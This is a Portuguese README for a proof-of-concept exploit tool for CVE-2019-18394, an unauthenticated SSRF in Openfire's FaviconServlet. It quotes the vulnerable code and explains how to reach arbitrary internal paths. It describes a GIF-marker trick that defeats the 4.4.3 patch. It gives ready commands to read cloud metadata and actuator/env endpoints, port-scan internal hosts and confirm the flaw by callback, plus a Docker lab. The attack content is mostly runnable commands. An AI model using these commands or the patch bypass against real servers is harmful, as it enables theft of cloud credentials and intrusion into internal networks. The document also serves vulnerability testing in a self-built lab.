
PoC para CVE-2019-18394: SSRF de leitura completa não autenticado no FaviconServlet do Openfire <= 4.4.2
Server-Side Request Forgery não autenticado no Ignite Realtime Openfire 4.4.2 e anteriores (consola de administração, TCP predefinido 9090/9091). Corrigido na 4.4.3 (issue OF-1885).
host é concatenado num URL de saída sem qualquer
validação, pelo que o servidor emite um HTTP GET escolhido pelo atacante./getFavicon não está atrás do AuthCheckFilter da consola de
administração e responde mesmo enquanto o servidor ainda está no seu estado de configuração
inicial não configurado.Apenas para testes autorizados. Tudo aqui visa um laboratório local que você mesmo monta.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // controlado pelo atacante
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // corpo devolvido ao chamador
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // concatenação não validada
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // corpo completo, não apenas uma imagem
}
} ...
}
Não autenticado. Em xmppserver/src/main/webapp/WEB-INF/web.xml o filtro AuthCheck está
mapeado apenas para *.jsp, PluginServlet e dwr-invoker. O FaviconServlet está mapeado para
o caminho simples /getFavicon, pelo que nenhum filtro de autenticação é executado para ele.
Caminho arbitrário, não apenas host arbitrário. O código fixa o sufixo /favicon.ico.
Terminar host com uma query string empurra esse sufixo para o valor de um parâmetro:
host = of_internal/secret?x= produz http://of_internal/secret?x=/favicon.ico
O esquema está fixado em http://. Alvos https:// não são diretamente alcançáveis, mas o
cliente do servlet usa LaxRedirectStrategy, pelo que um endpoint http que faça um
302-redirect em diante é.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // retém corpos que não sejam imagens
}
return result;
GraphicsUtils.isImage() é ImageIO.read(bytes) != null, uma verificação de conteúdo, não de
destino. Duas coisas sobrevivem ao patch:
/images/server_16x16.gif não é usado como
linha de base: um servidor que falhou ao carregá-lo na inicialização devolve antes um corpo de
falha vazio, e a incompatibilidade entre os dois dá resultados errados.200 enquanto um caminho irmão
não mapeado responde 404, o que separa um mapeamento real de FaviconServlet de um
catch-all.FaviconServlet faz cache de acertos e falhas com chave no host bruto e faz short-circuit
após duas falhas. A ferramenta adiciona um cache-buster cb= único a cada sonda para que
execuções repetidas não recebam resultados obsoletos.Biblioteca padrão do Python 3, sem dependências.
check confirmar o bug: endpoint não autenticado + callback out-of-band + divulgação de resposta
read obter um URL http:// arbitrário através do alvo (SSRF de leitura completa)
scan sondar portas TCP internas a partir da posição de rede do alvo
# confirmar. --callback-host é o endereço para o qual o ALVO faz callback (IP ou FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# ler um recurso apenas interno que o testador não consegue alcançar diretamente
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# mapear serviços internos
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
Flags: --callback-host (endereço para o qual o alvo faz callback), --listen-bind /
--listen-port (listener local), --marker-format gif (devolver conteúdo interpretável como
imagem que passa a verificação isImage() da 4.4.3), --proxy, --json.
Códigos de saída: 0 ok, 1 descoberta, 2 erro ou não vulnerável, 3 inconclusivo.
Configuração Docker diferencial: 4.4.2 vulnerável (consola em :9090), 4.4.3 corrigida (em
:9092), e um serviço apenas interno que o host não consegue alcançar diretamente.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# nginx interno: sem mapeamento de porta no host, portanto inalcançável a partir do host, alcançável a partir do Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERÁVEL
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # CORRIGIDO
O nginx interno não tem mapeamento de porta no host, pelo que uma obtenção direta a partir do
host devolve HTTP 000, mas o Openfire consegue alcançá-lo. Ler o seu SECRET_FLAG prova que o
pedido atravessou a fronteira de confiança. No Docker Desktop o alvo alcança o seu listener via
host.docker.internal (passe-o a --callback-host). No Docker nativo Linux, use o IP do gateway
docker0 ou omita --callback-host para autodetectar.
# assim que ambas as consolas responderem em :9090 e :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
Cada callback chegou com User-Agent: Apache-HttpClient/... (Java/...), confirmando que o pedido
veio do próprio cliente HTTP do Openfire, não da ferramenta.
| Alvo | Marcador | Callback | Corpo divulgado | Veredicto | Saída |
|---|---|---|---|---|---|
| 4.4.2 (vuln) | texto | sim | sim, verbatim | VULNERABLE (não corrigido) | 1 |
| 4.4.3 (corrigido) | texto | sim | não, retido por isImage() | PARTIALLY_MITIGATED (SSRF cego) | 1 |
| 4.4.3 (corrigido) | gif | sim | sim, imagem + texto à cauda | VULNERABLE leitura completa (ver nota) | 1 |
| não-Openfire (nginx) | n/a | n/a | n/a | endpoint ausente | 2 |